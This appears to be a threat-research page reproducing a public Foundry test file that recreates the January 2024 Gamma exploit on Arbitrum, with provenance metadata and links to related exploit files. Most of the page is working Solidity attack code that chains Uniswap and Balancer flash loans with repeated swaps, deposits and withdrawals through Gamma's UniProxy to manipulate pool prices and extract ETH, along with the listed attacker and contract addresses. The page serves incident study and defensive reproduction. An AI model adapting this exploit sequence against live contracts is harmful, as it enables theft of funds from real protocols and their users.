Public reproduction file
src/test/2024-01/Gamma_exp.sol
Public reproduction file for dataset entry Gamma.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.22;4import "forge-std/Test.sol";6// @KeyInfo - Total Lost : ~$6.3m7// Attacker : 0x5351536145610aa448a8bf85ba97c71caf31909c8// Attack Contract : 0xfd42cba85f6567fef32bab24179de21b9851b63e9// Vulnerable Contract : 0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E10// Attack Tx : https://arbiscan.io/tx/0x025cf2858723369d606ee3abbc4ec01eab064a97cc9ec578bf91c6908679be7512// @Info13// Vulnerable Contract Code : https://arbiscan.io/address/0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E#code15// @Analysis16// Twitter alert by Officer's Notes : https://twitter.com/officer_cia/status/174277220799705089917// Twitter alert by shouc / BlockSec: https://twitter.com/shoucccc/status/174276561898482932619contract ContractTest is Test {20 receive() external payable {}22 address constant uniproxy = 0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E;23 address constant algebra_pool = 0x3AB5DD69950a948c55D1FBFb7500BF92B4Bd4C48;24 address constant usdt_usdce_pool = 0x61A7b3dae70D943C6f2eA9ba4FfD2fEcc6AF15E4;25 address constant weth_usdt_pool = 0x641C00A822e8b671738d32a431a4Fb6074E5c79d;26 address constant weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;27 address constant balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;28 address constant weth_usdce_pool = 0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443;29 address constant usdt = 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;30 address constant usdce = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;32 function setUp() public {33 vm.createSelectFork("arbitrum", 166_873_291);34 }36 function testExploit() public {37 uint256 initial_balance = address(this).balance;38 I(usdt).approve(usdt_usdce_pool, type(uint256).max);39 I(usdce).approve(usdt_usdce_pool, type(uint256).max);40 I(weth_usdt_pool).flash(address(this), 0, 3_000_000_000_000, "");42 I(weth_usdce_pool).swap(43 address(this),44 false,45 int256(I(usdce).balanceOf(address(this))),46 4_526_582_309_038_291_990_822_582, // the price limit of the swap47 ""48 );50 // received weth and withdraw51 I(weth).withdraw(I(weth).balanceOf(address(this)));53 console.log("Earned %s ETH", (address(this).balance - initial_balance) / 1e18);54 }56 function calculatePrice() internal returns (uint160) {57 I.GlobalState memory gs = I(algebra_pool).globalState();58 return (gs.price * 85_572) / 100_000;59 }61 function uniswapV3FlashCallback(uint256 v1, uint256 v2, bytes memory) public {62 address[] memory arr01 = new address[](1);63 arr01[0] = usdce;64 uint256[] memory arr02 = new uint256[](1);65 arr02[0] = 2_000_000_000_000;66 I(balancer).flashLoan(address(this), arr01, arr02, "x");67 uint256 v2 = I(usdt).balanceOf(address(this)) - 3_001_500_000_000;68 I(algebra_pool).swap(address(this), true, 473_259_664_738, calculatePrice(), "");70 // repay flash loan71 I(usdt).transfer(weth_usdt_pool, 3_001_500_000_000);72 }74 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory) public {75 I(usdce).transfer(weth_usdce_pool, uint256(amount1Delta));76 }78 function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory) public {79 if (amount0Delta > 0) {80 I(usdt).transfer(algebra_pool, uint256(amount0Delta));81 } else {82 I(usdce).transfer(algebra_pool, uint256(amount1Delta));83 }84 }86 function receiveFlashLoan(87 address[] memory,88 uint256[] memory amounts,89 uint256[] memory feeAmounts,90 bytes memory91 ) public {92 uint256[4] memory empty_arr;93 empty_arr[0] = 0;94 empty_arr[1] = 0;95 empty_arr[2] = 0;96 empty_arr[3] = 0;98 for (uint256 i = 0; i < 15; i++) {99 I(algebra_pool).swap(address(this), true, int256(I(usdt).balanceOf(address(this))), calculatePrice(), "");101 uint256 val = I(uniproxy).deposit(1, 300_000_000_000, address(this), usdt_usdce_pool, empty_arr);103 I(usdt_usdce_pool).withdraw(val, address(this), address(this), empty_arr);105 I(algebra_pool).swap(106 address(this),107 false,108 int256(I(usdce).balanceOf(address(this))),109 83_949_998_135_706_271_822_084_553_181,110 ""111 );112 I(uniproxy).deposit(1, 1_000_000, address(this), usdt_usdce_pool, empty_arr);113 }114 I(algebra_pool).swap(115 address(this), true, -int256(amounts[0] - I(usdce).balanceOf(address(this))), calculatePrice(), ""116 );118 I(usdce).transfer(balancer, amounts[0]);119 }120}122interface I {123 struct GlobalState {124 uint160 price; // The square root of the current price in Q64.96 format125 int24 tick; // The current tick126 uint16 feeZto; // The current fee for ZtO swap in hundredths of a bip, i.e. 1e-6127 uint16 feeOtz; // The current fee for OtZ swap in hundredths of a bip, i.e. 1e-6128 uint16 timepointIndex; // The index of the last written timepoint129 uint8 communityFeeToken0; // The community fee represented as a percent of all collected fee in thousandths (1e-3)130 uint8 communityFeeToken1;131 bool unlocked; // True if the contract is unlocked, otherwise - false132 }134 function globalState() external view returns (GlobalState memory);136 function approve(address, uint256) external payable returns (uint256);138 function flash(address, uint256, uint256, bytes memory) external payable;140 function balanceOf(141 address142 ) external payable returns (uint256);144 function flashLoan(address, address[] memory, uint256[] memory, bytes memory) external payable;146 function deposit(uint256, uint256, address, address, uint256[4] memory) external payable returns (uint256);148 function transfer(address, uint256) external payable returns (uint256);150 function withdraw(uint256, address, address, uint256[4] memory) external payable;152 function withdraw(153 uint256154 ) external payable;156 function swap(address, bool, int256, uint160, bytes memory) external payable;157}Analysis
Dataset entry
Public Foundry test for “Gamma” (2024-01-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
- src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
- src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5351536145610aa448a8bf85ba97c71caf31909c
- Attack Contract
0xfd42cba85f6567fef32bab24179de21b9851b63e
- Vulnerable Contract
0x1f1ca4e8236cd13032653391db7e9544a6ad123e
- Attack Tx
0x025cf2858723369d606ee3abbc4ec01eab064a97cc9ec578bf91c6908679be75
File record
- Name
- Gamma
- Path
- src/test/2024-01/Gamma_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 40186b0ac3b271b8a529932852140de6cf95cd97
- Language
- Solidity
- Size
- 158 lines
- Date
- 2024-01-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/Gamma_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 40186b0ac3b271b8a529932852140de6cf95cd97, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.